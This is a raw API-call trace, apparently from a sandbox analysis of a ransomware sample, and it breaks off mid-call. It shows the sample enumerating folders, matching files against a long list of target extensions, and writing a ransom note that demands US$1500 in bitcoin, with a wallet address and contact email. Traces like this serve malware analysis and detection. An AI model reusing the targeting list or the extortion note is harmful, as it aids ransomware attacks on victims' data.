[0108.784] lstrlenA (lpString="*.html") returned 6 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0108.784] lstrlenA (lpString="*.htm") returned 5 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0108.784] lstrlenA (lpString="*.xlsx") returned 6 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0108.784] lstrlenA (lpString="*.xls") returned 5 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0108.784] lstrlenA (lpString="*.mp4") returned 5 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0108.784] lstrlenA (lpString="*.ppt") returned 5 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0108.785] lstrlenA (lpString="*.pptx") returned 6 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0108.785] lstrlenA (lpString="*.doc") returned 5 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0108.785] lstrlenA (lpString="*.dot") returned 5 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0108.785] lstrlenA (lpString="*.docx") returned 6 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0108.785] lstrlenA (lpString="*.7z") returned 4 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0108.785] lstrlenA (lpString="*.tar") returned 5 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0108.785] lstrlenA (lpString="*.bz2") returned 5 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0108.785] lstrlenA (lpString="*.gz") returned 4 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0108.785] lstrlenA (lpString="*.mkv") returned 5 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.785] lstrlenA (lpString="*.eml") returned 5 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0108.785] lstrlenA (lpString="*.msg") returned 5 [0108.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0108.786] lstrlenA (lpString="*.edb") returned 5 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0108.786] lstrlenA (lpString="*.accdb") returned 7 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0108.786] lstrlenA (lpString="*.odb") returned 5 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.java") returned 0 [0108.786] lstrlenA (lpString="*.java") returned 6 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0108.786] lstrlenA (lpString="*.asm") returned 5 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0108.786] lstrlenA (lpString="*.pfx") returned 5 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0108.786] lstrlenA (lpString="*.pem") returned 5 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0108.786] lstrlenA (lpString="*.p12") returned 5 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0108.786] lstrlenA (lpString="*.gpg") returned 5 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0108.786] lstrlenA (lpString="*.vsd") returned 5 [0108.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0108.786] lstrlenA (lpString="*.odg") returned 5 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0108.787] lstrlenA (lpString="*.raw") returned 5 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0108.787] lstrlenA (lpString="*.nef") returned 5 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0108.787] lstrlenA (lpString="*.svg") returned 5 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0108.787] lstrlenA (lpString="*.psd") returned 5 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0108.787] lstrlenA (lpString="*.vmx") returned 5 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0108.787] lstrlenA (lpString="*.vmdk") returned 6 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0108.787] lstrlenA (lpString="*.vdi") returned 5 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0108.787] lstrlenA (lpString="*.lay6") returned 6 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0108.787] lstrlenA (lpString="*.mpeg") returned 6 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0108.787] lstrlenA (lpString="*.djvu") returned 6 [0108.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0108.788] lstrlenA (lpString="*.tiff") returned 6 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0108.788] lstrlenA (lpString="*.backup") returned 8 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0108.788] lstrlenA (lpString="*.pdf") returned 5 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0108.788] lstrlenA (lpString="*.cert") returned 6 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0108.788] lstrlenA (lpString="*.docm") returned 6 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0108.788] lstrlenA (lpString="*.xlsm") returned 6 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0108.788] lstrlenA (lpString="*.dwg") returned 5 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0108.788] lstrlenA (lpString="*.nd") returned 4 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0108.788] lstrlenA (lpString="*.tlg") returned 5 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0108.788] lstrlenA (lpString="*.lgb") returned 5 [0108.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0108.788] lstrlenA (lpString="*.mov") returned 5 [0108.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0108.789] lstrlenA (lpString="*.xdw") returned 5 [0108.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0108.789] lstrlenA (lpString="*.ods") returned 5 [0108.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0108.789] lstrlenA (lpString="*.wav") returned 5 [0108.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0108.789] lstrlenA (lpString="*.mp3") returned 5 [0108.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0108.789] lstrlenA (lpString="*.aiff") returned 6 [0108.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0108.789] lstrlenA (lpString="*.flac") returned 6 [0108.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0108.789] lstrlenA (lpString="*.m4a") returned 5 [0108.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0108.789] lstrlenA (lpString="*.csv") returned 5 [0108.789] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a49570, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37a49570, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37a49570, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x3e000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.789] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.790] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47224830, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47224830, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47224830, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="83eb9d7a083d37f2e0b6cd6bc5020357", cAlternateFileName="83EB9D~1")) returned 1 [0108.790] lstrcmpA (lpString1=".", lpString2="83eb9d7a083d37f2e0b6cd6bc5020357") returned -1 [0108.790] lstrcmpA (lpString1="..", lpString2="83eb9d7a083d37f2e0b6cd6bc5020357") returned -1 [0108.790] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\*.*") returned="*.*" [0108.790] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\", lpString2="83eb9d7a083d37f2e0b6cd6bc5020357" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357" [0108.790] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357") returned 100 [0108.790] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47224830, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47224830, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47224830, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.790] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.791] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47224830, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47224830, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47224830, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.791] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.791] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.791] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x471d8570, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x471d8570, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x471fe6d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x1c9e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Excel.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.791] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.791] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Excel.v9.0.ni.dll") returned -1 [0108.791] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Excel.v9.0.ni.dll") returned -1 [0108.791] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Excel.v9.0.ni.dll") returned -1 [0108.791] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\*.*") returned="*.*" [0108.791] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\" [0108.791] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\") returned="" [0108.791] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\HOW TO DECRYPT FILES.txt" [0108.791] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\83eb9d7a083d37f2e0b6cd6bc5020357\\how to decrypt files.txt")) returned 0xffffffff [0108.792] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\83eb9d7a083d37f2e0b6cd6bc5020357\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.797] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.797] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.799] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.799] CloseHandle (hObject=0x90) returned 1 [0108.799] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\", lpString2="Microsoft.Office.Tools.Excel.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll" [0108.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0108.799] lstrlenA (lpString="*.ems") returned 5 [0108.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.db") returned 0 [0108.799] lstrlenA (lpString="*.db") returned 4 [0108.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0108.799] lstrlenA (lpString="*.dbf") returned 5 [0108.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0108.799] lstrlenA (lpString="*.myox") returned 6 [0108.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0108.799] lstrlenA (lpString="*.myo") returned 5 [0108.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0108.799] lstrlenA (lpString="*.qbw") returned 5 [0108.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0108.800] lstrlenA (lpString="*.qbb") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0108.800] lstrlenA (lpString="*.qbm") returned 5 [0108.800] PathMatchSpecA 